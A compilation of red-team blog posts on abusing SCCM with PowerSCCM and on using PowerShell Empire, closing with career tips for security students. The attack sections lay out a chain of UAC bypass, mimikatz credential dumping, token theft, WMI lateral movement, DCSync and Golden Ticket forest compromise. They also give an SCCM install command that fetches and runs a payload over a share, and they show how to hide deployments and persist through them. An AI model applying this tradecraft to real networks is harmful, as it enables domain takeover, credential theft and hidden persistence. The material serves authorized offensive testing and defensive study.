Offensive Operations with PowerSCCM

Over the last few months, I have been preaching how amazing Microsoft’s System Center Configuration Manager (SCCM) is for offensive Red Team operations. After being inspired by Dave Kennedy’s “Owning One to Rule Them All” presentation at DefCon 20, I dove more deeply into the offensive applications of SCCM. The result was a blog post on using SCCM for targeted workstation compromise and a ShmooCon Firetalk on using SCCM for Malware Deployment (slides can be found here due to some A/V issues within the video).

After some head banging, my ATD teammate Will Schroeder and I have developed a toolset called PowerSCCM with some nice offensive functionality. With the help of @jaredcatkinson and @mattifestation, we were able to implement defensive capabilities for hunting and incident response. This post will cover offensive usage within PowerSCCM, while @harmj0y has a post that covers some of the internals of PowerSCCM as well as its defensive functionality.


What is SCCM?

SCCM is a system configuration/management solution created by Microsoft. It allows for administrators to image machines, install applications, push configuration scripts, or update existing software on enterprise endpoints. SCCM operates in a “Client-Server” architecture by installing an agent on workstations/servers that will check in periodically to its assigned site server for updates. On the backend, SCCM uses a SQL database and WMI classes to store and access various types of information.  

Note: PowerSCCM handles both SQL and WMI connections to an SCCM server, but the offensive functionality is restricted to WMI at this point.

In order to interact with SCCM, you need to have administrative rights on the SCCM server, however you do not need to have domain administrative rights on the network. We have seen setups where poorly secured service accounts allowed us to take control of an SCCM server, which led to complete domain compromise. SCCM can be used for this type of lateral spread, or as a way to persist in the network after elevated access is acquired. We love remaining under the radar by utilizing existing administrative tools to do our dirty work.


Identifying and Connecting to SCCM

The first step is to identify two pieces of information required to connect and interact with the SCCM backend- the primary SCCM site server and the SCCM site code.  Once you land on a workstation that is administered by SCCM, you can load up PowerSCCM and run the “Find-LocalSCCMInfo” cmdlet to pull this information from the local machine’s configuration.


With this information, we can establish a new connection to the SCCM management server via WMI by using the “New-SCCMSession” cmdlet. This function requires the SCCM server and Site code as parameters


Now that we are connected up to the SCCM server, we can interact with it by taking the cmdlet “Get-SCCMSession” and piping it to whatever function we would like to use.


Identifying Targets

The first step in strategically maintaining access or moving within a network is to identify interesting targets. This can be done easily by asking SCCM to identify any users or computers that are registered with it. We can query all registered computers by using the “Get-SCCMComputer” cmdlet. You can also add the “-NameFilter” flag to reduce the query to whatever filter you would like.


PowerSCCM also allows for you to drill down on hosts and identify what users are actively logged in or have historically been logged in. For example, you can identify what computers the Domain Admin “Lab\Matt” is logged into by using the “Get-SCCMPrimaryUser” cmdlet and selecting the host where “Lab\Matt” show up:


*Note: Automated User hunting/enumeration is still being developed and will be released in future versions of PowerSCCM.


Grouping Your Targets

With potential targets identified, the next step is to group them so they can be specifically targeted. To do this, you need to create a Device Collection. You can do this by using the “New-SCCMCollection” cmdlet.


We are able to verify that the collection now exists by using the “Get-SCCMCollection” cmdlet and displaying only the result when the “Name” property is “Red Team Targets”:


With the collection for our targets created, we can now add any devices we want. This can be accomplished using the “Add-SCCMDeviceToCollection” cmdlet and passing the new collection name and device name as parameters.


Now that the computers we wish to target are grouped into a collection, we are now able to create our malicious application and then deploy it to our targets.


Creating our Payload

Out of all the offensive functionality within PowerSCCM, the ability to create a malicious SCCM application is by far my favorite. When the application is created, it is created with a “isHidden” property set. This property keeps the application from being displayed in the Configuration Manager GUI, which hides it from any administrators.

When creating the application, you can specify a PowerShell script, a Base64 encoded PowerShell payload, a Base64 Unicode PowerShell payload, or a UNC path to an executable. For the PowerShell payloads, the New-SCCMApplication cmdlet will store the payload in a new WMI class on the SCCM server and then set permissions on that class so it can be read by everyone on the domain. When the application is deployed and executed, it will reach back to the WMI class on the SCCM server, grab the encoded payload, decode it and execute it.

To create the application, you can use the “New-SCCMApplication” cmdlet and pass the application name and the payload (UNC, PowerShell Script,  PowerShell Base64 or PowerShell Base64 Unicode). In this example, I will be using the base64 encoded portion of the PowerShell Empire stager. Since the base64 encoded output of the “launcher” stager is encoded in unicode, we need to use the “PowerShellUnicodeBase64” option.


As you can see in the “LaunchCMD” field, it will start PowerShell, reach out to the WMI class on the SCCM server (called Win32_Debug), grab the payload, decode it and execute it. We can verify that the payload exists by using “Get-SCCMApplication” and only showing results when “LocalizedDisplayName” equals our application name.


And just to verify, we can check the GUI and see that the application does not show up:



Deploying our Payload

With our application created, we can now deploy it out to our device collection containing our targets. We can do so by using the “New-SCCMApplicationDeployment” cmdlet. All we need to do is pass the application name, assignment name and collection name as parameters. (*note: the assignment name is simply a description of the deployment).


Now that our malicious application is set to deploy to our chosen targets, we can coerce these machines to check for new applications by forcing a Machine Policy Check-in through the SCCM server. This can be accomplished by utilizing the “Invoke-SCCMDeviceCheckin” cmdlet. All we need to do is pass the target collection name as a parameter. This will force the collection members to check-in, grab any new content (our malicious application) and execute it.


Once the target executes the application, we will get an agent back running as SYSTEM




After you compromise any targets you need, it is important that you cleanup after yourself. This includes removing the Application Deployment, the Application and the Collection you created. For a proper cleanup, you need to remove the items in the following order: Application Deployment, Application, Collection.

To cleanup a deployment, you can use the “Remove-SCCMApplicationDeployment” cmdlet. You just need to pass your application name as a parameter.


With the deployment gone, you can now remove the application itself. This can be accomplished using the “Remove-SCCMApplication” cmdlet:


And finally, we can delete our device collection:




As a Red Teamer, living inside a target network without getting detected is essential for success. Once you establish access and elevate your rights, you typically target the “crown jewels” to show impact to the organization. The process of moving throughout the network while hunting for sensitive data can often times get you caught. By using SCCM, you can abuse existing internal infrastructure and functionality to move laterally. Be sure to head over to Will’s blog to checkout PowerSCCM’s defensive functionality!


An Empire Case Study

This post is part of the ‘Empire Series’, with some background and an ongoing list of series posts [kept here]. 

Empire has gotten a lot of use since its initial release at BSides Las Vegas. Most of the public articles we’ve seen on Empire are quick-start guides that cover initial setup and a few common features. To really emphasize the full capability of Empire we wanted to do a walk through of a fictional case-study from initial access to complete forest ownership. This post is the second in the “Empire Series”, and is an expanded version of the demo given at BSides D.C that shows how Empire can be used in real world networks.

Initial Access

Empire has a variety of ways to execute the stager code that loads the main agent, including Office macros, .war files, HTAs, etc. We will dive in depth into phishing in a future blog post, so for now we will assume you have obtained access into a corporate environment via an Office macro. For this case study, we have landed on a user’s workstation in the “DEV” domain, which is a subdomain of the primary “CORP” domain.


The first thing we notice about our initial access is that we are not in elevated context. You can determine this by viewing the main agents menu – agents with a (*) are elevated. You can also determine the integrity context by typing info in an agent menu (‘high_integrity = 1’ means the agent is elevated).


Since we need elevated privileges to dump credentials, we’ll first try to privesc. Before we can start to identify possible privilege escalation paths we should do a bit of host situational awareness. Empire’s shell command allows us to execute normal Windows commands on the system and we are able to identify that our current user “dfm” is in the local administrators group.


With this knowledge we assume that since “dfm” is in the local administrators group but not elevated within our agent, UAC could be in play. In order to elevate up, we can use Empire’s “bypassuac” command to bypass the User Access Control prompt and elevate to Administrator.


As you can see, our new agent now contains the (*), indicating that it is elevated.

Gathering Credentials

Now that we have elevated access on our compromised host we can extract credentials from memory. By issuing a ps command, we are able to see all of the running processes on this particular host. If we look closely, we are able to see that the domain user “Mike” has a process running.


Running the mimikatz command within our elevated agent will let us extract Mike’s credentials:


The output for Mimikatz will be displayed back to you for your viewing pleasure. Empire will also automatically parse the output and add any scraped credentials to its backend data model. This can be viewed by typing creds.


If you want to filter the credential output you can type creds <filter> to only display the information you want. For example, you can type creds plaintext to get only the plaintext credentials from the database or you can type creds Mike to only get credentials that apply to the user “Mike”.


User Enumeration

Since we have the user “Mike”, we should probably find out who he is and what he does. This can be done in a few different ways, such as through PowerView or the built-in Windows net commands. Empire also has the get_user module that will return all sorts of juicy information on the user(s) specified. You can jump to this module with usemodule situational_awareness/network/powerview/get_user.


By setting the “UserName” field to “Mike”, the module will execute and return us Mike’s user properties:


If you use PowerView for normal situational awareness you may see that the output for this module looks much like the output of the Get-NetUser function in PowerView. This is because Empire has many abstracted functions from PowerView built in as modules under situational_awareness/network/powerview/* that let you execute large parts of PowerView’s functionality without loading up the complete script.


We see that the module output indicates that Mike is a part of the “Workstation Admins” group. By viewing the net localgroup Administrators output that was displayed previously we also see that the “Workstation Admins” group is a local administrator on the host we landed on. This means that we may be able to reuse these credentials to access other workstations in the enterprise.


With that information in our back pocket we can now start to hunt for interesting users (instead of just hitting random boxes and hoping for the best). We can kick this off by using the situational_awareness/network/powerview/user_hunter module. This module takes the Invoke-UserHunter function from PowerView and abstracts it into its own module within Empire. When running this with the default options, it will query your current domain for any machines with Domain Admins logged in and display it back to you.


It looks like the Domain Admin “DEV\will-da” has a session from Let’s see if Mike’s compromised credentials will get us access to that host. We can get the hostname of this target with Empire’s shell command:

Now we can check and see what users/groups are a part of the local administrators group on that host by running the situational_awareness/network/powerview/get_localgroup module. This particular module is an abstracted version of Get-NetLocalGroup from PowerView.

The output from this module will let us know exactly who can access the host we’re targeting:


In the output above we can see that the group “Workstation Admins” is one of the groups added to the local administrators group on our target. Since we also set the -Recurse flag the backend PowerView code resolved the members of any resulting groups as well, giving us the effective set of users who can access the host. With this output we can verify that Mike’s credentials will give us access to our target host.

Lateral Movement

Since we now know that “Mike” should give us access to the host with the Domain Admin “will-da” logged in, let’s verify the access by stealing one of Mike’s process tokens and trying to access the host remotely. Since we saw that Mike had a process of “cmd” running, we can filter the ps output for just those processes with ps cmd.


We can steal its token by using the steal_token <PID> command and then attempt to access “C$” of the target host:


Now that we’ve confirmed access, let’s trigger an agent on the remote system. Empire has a variety of lateral movement options, but for this case study we’ll stick to WMI. Let’s load it up with usemodule lateral_movement/invoke_wmi:


After setting the Listener and the ComputerName fields we can kick off execution. In situations where you can’t get into the context of a user that has access to a target, but you have their credentials, you can set the CredID field to the entry that corresponds to that particular credential set.


Success, we have a new agent! Let’s pillage this new host with mimikatz:


W00t, we now have plaintext domain administrator credentials!


It is important to note that after moving laterally via WMI you will face something called the “double-hop problem”, meaning your new agent context can’t be used to jump to additional machines. We can resolve this by injecting into another process or stealing the token of another user. In our case we can easily inject into a process by using the management/psinject module. Let’s find a process owned by “will-da”:


The psinject module has 2 required arguments- the listener you want the new agent to stage from and the PID of the process you wish to inject into.


With an agent running in the context of the domain admin in dev.lab.local we can verify our access by executing a shell dir on C$ of a domain controller. First let’s identify the domain controllers for our current domain with the situational_awareness/network/powerview/get_domain_controller module:


Now let’s verify the access:


Hopping the Trust

Domain Admin credentials for DEV are fun and all, but what we really want is Enterprise Admin access in the parent lab.local domain. To verify that the dev->lab trust relationship exists, let’s first use the situational_awareness/network/powerview/get_domain_trust module:


The output confirms that there is a Bidirectional trust between dev.lab.local and its parent lab.local. Since this is a forest trust we can leverage our DA credentials in the child to compromise the entire forest! But before we do, we need a few pieces of information.

First we need to get the SID of the parent domain by resolving the LAB\krbtgt account to its security identifier with the management/user_to_sid module:


Next, we need to get the hash of the krbtgt account for the dev.lab.local child domain. Benjamin Delpy and Vincent Le Toux have us covered with Mimikatz’ DCSync functionality, which is implemented in Empire’s credentials/mimikatz/dcsync module. All we need to do is fill in the UserName option:


Empire nicely parsed the output for us and threw it into the credential store:


We now have all the information we need to execute the external SID history Golden Ticket attack which will allow us to compromise the root of the forest. Empire implements Mimikatz’ Golden Ticket functionality in credentials/mimikatz/golden_ticket. Since the hash of DEV\krbtgt was scraped and thrown into the credential store we can simply enter the credential ID in the CredID field within the Golden Ticket module. Then all we need to do is specify a user and an external SID for the ticket. When specifying the SID, we need to take the “502” off the end and add a “519” to construct the full SID of lab.local\Enterprise Admins.


With the ticket created, we can now use DCSync to extract the krbtgt hash of the parent lab.local domain:


Now we have both hashes of the krbtgt accounts for both domains:


It’s not really necessary, but let’s go ahead and repeat the Golden Ticket process with the krbtgt hash of lab.local. We just have to specify the CredID for the lab.local krbtgt account, the username and the domain (lab.local) since the module remembers the sid options:



As you can see above, we were able to successfully create another Golden ticket using the krbtgt from the parent (lab.local) domain.

Just to make sure everything went smoothly, we can test access to the lab.local Domain Controller by hitting C$:


Hopefully this post showed you how Empire can help execute a complete engagement from initial access to complete forest compromise. Stay tuned for additional posts in the “Empire Series” where we’ll dive into more of Empire’s functionality!

Targeted Workstation Compromise with SCCM

In most Red Team engagements, strategic lateral movement is a must. Unlike a lot of typical network penetration tests, a Red Team engagement often requires stealth, creativity and a very limited number of hosts touched on the network. Most Red Teams have their “go to” method for moving laterally within a target network in a surgical manner. Some teams get caught up in their normal tradecraft and tend to overlook other creative ways to clinically dissect a network during the hunt for the crown jewels. This post will cover a non-traditional way to strategically target and compromise computers by abusing Microsoft’s System Center Configuration Manager, more commonly known as SCCM.

If you aren’t familiar with Dave Kennedy’s talk on compromising a SCCM server and deploying malware enterprise wide, you can read about it here:

*Note: Assuming you have elevated access, you will likely already have access to the majority of the workstations. The purpose of this post is to demonstrate strategic lateral movement without using standard methods.

What is SCCM?

TL;DR, SCCM is a platform that allows for an enterprise to package and deploy operating systems, software, and software updates. It allows for IT staff to script and push out installations to clients in an automated manner. You can kind of think of it as a customizable, scriptable WSUS. There’s more information about SCCM here:

If you can gain access to SCCM, it makes for a great attack platform. It heavily integrates Windows PowerShell, has excellent network visibility, and has a number of SCCM clients as SYSTEM just waiting to execute your code as SYSTEM.



This post is going to assume that you have the ability to identify and compromise a SCCM installation. In most situations, this will likely involve compromising an elevated account (such as a server administrator) that allows for access to the SCCM server itself. This type of attack is handy in situations where you have elevated credentials (either domain or local) to select servers but not all workstations. This is often the case in enterprises with good group separation and control over local administrative accounts in the domain.

Using SCCM to Select a Target:

Often times, using RDP to access a resource as a Red Team can be very useful but also somewhat risky. In most situations as an operator, you have to weigh the risk versus the reward. For this attack, RDP will be used to access the Configuration Manager Console on the SCCM server. When you get in and start the Configuration Manager Console, it will look something like this:


Most organizations will setup SCCM to “clone” Active Directory in order to pull in computer objects by using a Discovery Method referred to as “Active Directory System Discovery”, as well as user objects by using the discovery method “Active Directory User Discovery”. These discovery methods will enumerate computer and user objects based on a supplied container or LDAP query. Within this structure, there are a few ways that SCCM correlates which users use what computer. The most common is implementing “User Device Affinity” or setting the “Primary User” for a computer object. Whichever it may be, IT staff needs a way to map what computers belong to what people. By doing so, they are able to push specific software out to a specific person or group of people. In many cases, an organization will create “Device Collections”, which are containers for specific purposes. By throwing computer objects into a Device Collection, IT is able to push specific software out to that specific group (for example, pushing out QuickBooks to the Finance Department).

Since there is usually a nice user-to-device mapping within SCCM, we can go to “All Users” and find a nice list of users. This allows you to determine whom you want to target and determine what computer they are on (if they have mapping setup). For this example, we are going to target the user “Chris”. Below is an example of what the user list will look like. As you can see, there is an object called “Primary Device”. Clicking on this will pull up the computer object that the selected user owns. It is important to note that there are a few different ways to do user->device mapping in SCCM. It is up to you to determine how the mapping is setup in order to identify your targets.


With this information, we now know that the user “Chris” owns “CORPWKSTNX64”.


 Another way to target a specific user or group of users is to identify the computer names of your targets. This can often be acquired by conducting a little network recon. One common method of identifying targets is to use Invoke-UserHunter from PowerView (written by my co-worker @harmj0y). You can read a bit about user hunting on his blog here. Organizations often have some sort of naming scheme for their computers or they have some sort of identifiable information in Active Directory. After all, IT staff likely needs to know what users are on what computers for support requests. If you identify your targets, you can create a group just for them. This will allow you to create your target set, group them all together, and push agents to them simultaneously.

You can accomplish this by going to the “Assets and Compliance” tab and clicking on “Device Collections”. This will bring up any device collections that have already been created. You can create your own by right clicking and selecting “Create Device Collection” and giving the collection a name. It will also ask you to specify a limiting collection. Normally, you want to set this to “All Systems”. This will limit what computers are available to be added to the collection.


 Hitting “Next” will take you to the screen that allows you to specify membership rules. You can either create membership rules now and add your targets, or you can just click “Next” and “OK” on the warning to move on. I often just click through this section and opt to add my targets to the collection later. After all this is done, you will have a collection for your specific targets.

You can then add your targets to your target collection by clicking on “All Systems” and typing or finding the computer names you wish to specifically target.


When you find a target computer, just right click on it and select “Add Selected Items” -> “Add Selected Items to Existing Device Collection”.


 From there, just select your device collection and click “OK”. You can click “Device Collections” on the left, and then double click on your device collection to make sure your targets are in the collection before deploying your payload.


By strategically selecting your targets and placing them into a device collection, you are able to deploy your payload in a controlled and surgical manner.


Using SCCM Application Deployments for Targeted Workstation Compromise

The easiest way to abuse SCCM’s functionality without touching disk on your targets is to host your payload on the SCCM server and use PowerShell to grab the payload and execute it. In most situations, SCCM admins will create a publicly available share to host the software packages. In some situations, you may need to browse around to see how they are hosting installation files. Administrators will typically place all installation files in a predictable folder (all Flash installation files in Flash_15.0.0.1, for example). When they create a new package or application and push it to the clients, the client will often download the files, run the installation script and then delete the files off of disk. This is fine for normal administrative tasks, but it isn’t ideal when being used in a malicious context. To avoid touching disk on the client, we will use a method to fetch the payload content over UNC.

The first step is to host our payload. For this example, I will be using PowerShell Empire by generating a .ps1. Once generated, you can copy the contents into a text file and host it on a reachable share. In this instance, the hosting folder is “sccmsource” and the stager will be “Install.txt” in the “LegitApplication” folder. So, the complete path to our Empire staging code will be “\\sccm2012.lab.local\sccmsource\LegitApplication\Install.txt”. A nice aspect of SCCM is that it can be heavily administered via PowerShell, which makes malicious PowerShell less obvious.


With our payload hosted, we can now begin to create our application for deployment to select targets throughout the network. To do so, select the “Software Library” tab and then select “Application Management”. From there,  right click and select “Create Application”. After doing so, you will be presented with a box to start the creation process.

The first box will ask you to either specify the application install type or to manually specify the application install type. For this, we are going to select “Manually specify the application information” and then hit next.


On the next screen, we need to give our application a name and provide a little bit of information. Once provided, hit next until you see the “Deployment Types” section (you can skip the “Application Catalog” section unless you need to add in any additional information). For our purpose, the less information provided, the better.


Once you reach the “Deployment Types” section, click “Add” to add a new deployment type. Doing so will open a window that will get you started on configuring your application.

Under the “Type” section, we are going to select the “Script Installer” option.


Hitting next will move you on to the “General Information” screen. This is where you will enter a deployment name and language. I normally use the same name as the application.


Clicking on next will move us to the most important part of the application creation…the payload. For this section, we are going to leave the “Content Location” field empty. In normal cases, this is where an Administrator would specify the location of the application installation files. Since we want to avoid touching disk, we will leave that blank.

This brings us to the “Installation Program” and “Installation start in” fields. This is where we are going to place the command that will grab our payload and execute it. The “Installation Program” will look something like this:

cmd.exe /c “powershell.exe -ep bypass -c “gc \\serverName\sharedFolder\ApplicationFolder\payload.txt | iex””


Note: you may be wondering why we don’t just set the “Installation Program” to be a PowerShell encoded command with the payload text. This is because SCCM unfortunately imposes a length restriction limit of 1024 characters for the specified program. You could potentially use a trimmed IEX “download cradle”, but you’ll likely hit the length restriction if you want to include things like proxy enumeration or a user-agent with it. Also, it’s nice to keep the reach back from the client confined to ‘normal’ behavior (e.g. UNC path execution instead of HTTP).

 Once we have the program set, we need to specify where the installation is going to start in. Since the “Installation Program” field took only “cmd.exe”, SCCM is asking us to specify the location of “cmd.exe”. So for that field, we are going to put “C:\Windows\System32”.


What this will do is use cmd.exe to start PowerShell, and then use PowerShell’s Get-Content (gc) to reach out to “\\sccm2012\sccmsource\LegitApplication” and grab the contents of “Install.txt”. Once it has that, the code is passed to Invoke-Expression (iex) to execute it. This allows us to execute our payload on the target without dropping a file to the file system.

With that configured, we can proceed to the “Detection Method” menu. The options specified here will tell SCCM how to determine if the client already has the target application installed or not. SCCM will check the specified options before installing the application in order to prevent multiple installations. Since we are running our payload in memory there isn’t really much to check, but as this part is required, we can just populate it with bogus information.

To do this, click “Add Clause” and change the type to “Folder”. I normally just set the path to “C:\” and the “File or Folder Name” to random text. Once you have that set, make sure you specify “The file system setting must exist on the target system to indicate presence of this application”.


With that set, we can click “OK” and “Next” to move onto the “User Experience” section. This lets you dictate how silent you want the installation to be, as well as what context you want the installation to take place (userland or system). For this example, we are going to set the “Installation Behavior” to “Install for System”. We are then going to make sure we can push our agent regardless if the user is logged on or not, allowing us to push agents in the middle of the night if needed. Finally, we want to make sure to set the “Installation Program Visibility” to “Hidden”. This will hide any and all things from the user. 😀


Once done, we can hit “Next” through the “Requirements” and “Dependencies” sections. With that done, we now have our malicious application created. Next step, deployment! To deploy our newly created application, just right click on it and select “Deploy”.


This will bring us to the screen to specify our targets. Clicking on “Browse” next to “Collection” will bring up all of the user and device collections that exist. You can either deploy to a specific user (if a user collection for them exists) or you can deploy to a specific device collection. You can click the “User Collection” drop down to move in between user and device collections.


Once you have your collection selected, clicking “OK” will move you onto the remainder of the deployment setup. You will want to skip the “Content” section and click “Next” until you reach the “Deployment Settings” portion. In this section, you want to set the “Purpose” field to “Required”.


Clicking “Next” will take you to the scheduling section. All you have to do on that page is make sure the “Installation Deadline” is set to “As soon as possible after the available time” (which is set by default).

On the next page, you will find the settings for the user experience. Here, you want to make sure you set the “User notifications” to “Hide in Software Center and all notifications”.


Once done, you can click through the “Alerts” section and finish the deployment. This will push the application out to the computers in the device collection specified. You can verify the deployment by clicking on the application and looking at the deployments on the bottom.


Once a target checks in, it will detect that it has a new deployment pushed to it and it will try to install the application. Since we simply provided commands to run via the command prompt, it will start PowerShell, grab the content of our payload off of the SCCM server, and then execute it. In this example, we get a SYSTEM level Empire agent back:


Once you get agents on the targets, I highly recommend that you delete the deployment, the application, and the device collection that was created.

Alternate method of Code Execution

Say you don’t want to put your payload up on a share in order to abuse the “Get-Content | iex” method previously mentioned. Another option is to abuse the “Use a custom script to detect the presence of this deployment type” functionality. This allows you to specify custom code (either in PowerShell, VBScript or Jscript) that will be executed at the very beginning of the deployment during the installation check phase.

Note: The code in the script detection portion does NOT run as SYSTEM, but rather in userland. SCCM also drops the script into C:\Windows\CCM\SystemTemp, executes it and then deletes it. Because of this, it will leave a forensic artifact on disk.

To do this, follow the instructions above for creating an application. Once you reach the “Content” portion, you can put garbage in the “Installation Program” field and leave the “Installation start in” field blank:


When you get to the “Detection Method” portion, select “Use a custom script to detect the presence of this deployment type” and click “Edit”. This will open the prompt to put in your custom code (our payload). SCCM does require that PowerShell scripts be digitally signed, so any PowerShell code pasted in the custom script box will not be executed unless there’s a digital signature. If you attempt to bypass execution policy (powershell.exe –ep bypass –c “code”) it will still fail. This is because SCCM takes the content of the script you provided, writes it to a .ps1 on the target and tries to execute it, so the system’s default ExecutionPolicy will apply.

To bypass this, we can use VBScript to execute our PowerShell payload. The code to put in the script box will look something like this:


You can find the VBScript wrapper code here. This is essentially a VBScript wrapper that executes a PowerShell Empire stager. You can replace “objProcess.Create “code”” with whatever PowerShell code you would like. You can then proceed to finish creating and deploying the application. When the client grabs the application, it will run this VBScript first and execute our payload in user level context.


Another amazing feature about SCCM is that it will grab the application and execute it after a reboot. As long as the application we created is deployed to our targets, it will execute our payload when it checks in after a reboot. Because of this, we have persistence on our target group of computers without needing to drop a file to disk, or utilize any of the traditional persistence methods.


As an attacker, you can abuse SCCM to scope out targets on the network, group selected targets together, and push out a memory only agent to those selected targets simultaneously as either a normal user, or as SYSTEM.  SCCM is often a “Management Point” for most (if not all) workstations in the enterprise, and because of this, the SCCM server will often have great, if not complete visibility into the entire network. SCCM clients will also re-execute our payload after a reboot, allowing us to remain persistent on a machine without dropping a file to disk. Because of these features, SCCM makes for a great platform to silently push agents out to select workstations without the need to use normal lateral movement methods.

Empire Tips and Tricks

Empire Tips and Tricks

 Since the release of Empire at BSides Las Vegas, the project has received a lot of great feedback and use cases. While @harmj0y, @sixdub and myself worked really hard on documenting all of Empire’s features, there are a few tips and tricks that weren’t documented that can be of use. I wanted to cover some additional Empire functionality so you can get the most out of the framework.

Generating a Launcher

Empire stagers are the various methods you can use to trigger Empire agents on systems. The ‘launcher’ format generates the straight PowerShell one-liner to start the staging process, and one we commonly use in engagements as well as testing. If you are simply in need of the PowerShell one-liner, you can simply type “launcher <listenerName>” from the listener menu and this will quickly generate the one-liner for you. The listener names are tab-completable.



Renaming Agents

After receiving agents, there are also a few shortcuts that will help you easily with shell management. When an agent comes in, it will always have a randomized name. Since this can sometimes make for difficult agent identification, Empire allows you to rename agents using “rename <oldAgentName> <newAgentName>” from the agents menu:


Alternatively, you can do this within the context of an agent by typing “rename <newName>”.



Stale Agents

When dealing with multiple agents, determining which ones are active and which ones have died can be accomplished by typing “list stale” in the agents menu. This will list any agents that are no longer active.



You can then remove all stale agents by typing “remove stale”:


You can also list any agents that haven’t checked in in a period of time by typing “list x”. X will be the minute window for the agent check-in. For example, “list 5” will list all agents that have called back in the last 5 minutes.



Mass Agent Configuration Changes

Empire also allows for basic configuration changes to multiple agents at once. You can accomplish this by typing “<command> all <parameter>”. For example, you can set the sleep for all agents to “0” by typing “sleep all 0”:



Process Listing

When searching for a specific process, Empire allows you to specify a process name with the “ps” command. To search for a specific process, you can simply type “ps <ProcessName>” to list all processes that contain that name.



High Integrity Agents*

Several Empire modules require a high integrity context in order to perform certain post-exploitation agents. For example, Empire supports the use of Mimikatz to obtain credentials from memory. High integrity agents will always be identified by an asterisk (*) next to the UserName, and this information can be seen as well by running info in an agent menu. You can check if your current user is a local administrator in a medium integrity context (meaning a bypassuac attack should be run) by running the privesc/powerup/allchecks module.



The Credential Store

Empire will automatically scrape/parse Mimikatz output and throw the results into an accessible credential module that’s stored in the backend database. You can view the credentials by typing “creds”.



Searching the Credential Store

The credential store will hold both hash and plaintext credentials. Empire allows for you to search/filter the credential store, so if you are looking for specific users, you can type “creds <searchTerm>” to show all credentials matching that term.


You can also filter by plaintext/hashes by typing “creds plaintext” (for all plaintext creds) or “creds hash” (for all hashes).



Adding Credentials to the Credential Store

If you have credentials that weren’t automatically added into the credential store, you can manually add them by typing “creds add <domain> <username> <password>”:



Removing Credentials

You can also remove credentials from the credential store by typing “creds remove <credID>/<credID-credID>/all”. You can remove a single credential by specifying the CredID, remove a set of credentials by specifying the range of CredIDs, or you can remove all credentials by specifying “all”.



Exporting Credentials

Empire also allows you to export the credential store to a CSV. You can achieve this by typing “creds export <filePath>\file.csv”:



Using CredIDs

Each set of credentials is assigned a unique CredID, and you can use this CredID within modules that require credentials:


Alternatively, you can unset the CredID of a module by typing “unset CredID”. This can be used to unset any options that are set within a module. By using “unset”, it will clear out the value of the option specified.

You can also use the CredID with the “pth” command to execute use the Mimikatz PTH module with the credentials in the credential store.



You can then use “steal_token <pid>” to steal the token of the newly generated process.



Disaster Recovery

Sometimes, things don’t always go your way. In the event of an Empire crash on the server side, you won’t lose all of your access. The agents will run in memory on the target and will keep calling home, even if your listeners are down. Empire utilizes a backend database that preserves Empire’s configuration (such as listeners). In the event of a crash, simply start empire back up and wait for your agents to check back in:





Once Empire fires back up, your agents will slowly begin to trickle back in. You can also manually browse the Empire database by opening SQLiteBrowser in Kali and pointing it to “/data/empire.db”. This will allow you to see what all Empire retains in the backend database as well as make changes:






These are just a few tips and tricks that we often use when interacting with Empire. Hopefully they are of some use as well! If anyone has any questions, issues, or pull requests, hit us up on Github or in the #psempire channel in Freenode.


10 Tips for Aspiring Security Professionals

Nobody enters a new profession as an expert. The information security industry is so lucrative right now that schools are now implementing Information Security programs. As some of you may know, I am currently 22 years old and about to graduate college with a degree in Information Security. I will be the very first to say that after 4 years in a program tailored to security, I have learned nothing that will ever directly apply to a job in Information Security. You may ask “How is that possible?”. The answer is simple. These degrees don’t teach you skills that you will use in the field, they teach you how to think critically, problem solve and most importantly, they teach you how to learn.

I am going through the same process that thousands of students (and others) are going through. Information Security is scary, overwhelming and fast paced. As someone entering the industry (especially if you are young), you have A LOT of catch up to do. Not only do you have to learn and understand current attacker methodology and techniques, you have to learn past methodologies and techniques as well. Combine this with the need to learn scripting, programming, networking, protocols, etc. and you will find yourself stressed out and overwhelmed. I have encountered this first hand and am even going through it as I write this and because of that, I want to give a few tips to those either entering the industry or thinking about entering the industry.


1. Passion is essential

“If you love what you do, you’ll never have to work a day in your life”

This says it all. Learning concepts isn’t hard when you want to learn it. Same goes for applying those concepts. If you have passion toward information security, you are miles ahead of the majority of other folks in the industry. There are a lot of people that do this job because of the money. I can honestly say that I would remain in the information security/offensive security industry if it paid minimum wage. The job is easy if you love it.

2. Never Stop Learning

Concepts, technology and methodology will always be changing. Not only do you have to learn the past, but you have to learn the present and the future. Be a sponge and absorb every little bit of information that you can.

3. Learn the basics

First, learn the basics of computers, networking and programming. If you have a genuine passion for computers, this will be easy. I recommend getting a job doing helpdesk or general systems administration. For example: I started working the helpdesk at a small company my sophomore year in college. All I did was fix monitors, printers and basic networking issues. After two years, I got a new job working the helpdesk and doing sysadmin work for a larger company. This gave me the opportunity to branch out and learn how a corporate network is setup and functions. I was able to learn the ins and outs of a domain and how it operates. With the basic understanding of how things work, you can then branch out into how to break them. Without this basic understanding, it will be hard to operate with an offensive (or defensive) mindset.

4. Dive in

From my experience, the only way to learn is to just jump in the deep end. Get in the weeds of things going on, even if you don’t understand it. The security industry is excellent at mentoring, so find few people and stick by them. Most of the security professionals understand that by investing in you, they will help bring up an additional professional in an industry that is in desperate need of passionate professionals.

5. Contribute

As I stated above, get in the weeds of things, even if you don’t understand it. There are TONS of open source projects and tools out there. Find some that interest you and try to contribute. Or, even better, start your own research. Contribute to the community by completing and sharing some of your own work. For example: When I first started, I had a massive interest in client side attacks. I started researching different client side attacks and in 2013, I found an old article from 2003 about malicious Microsoft Office macros. I decided to dive into that and started to do work geared towards using VBA macros in client side attacks.

6. Start a blog

This is something I cannot stress enough. By starting a blog, you are creating a portfolio of all your work. This is something other students and professionals can  reference. Employers also like it as it details all of your work. This goes with tip 5. As you do your own research/work, write about it. Not only will you be contributing to the community but you will also be building up a portfolio.

7. Keep your head up

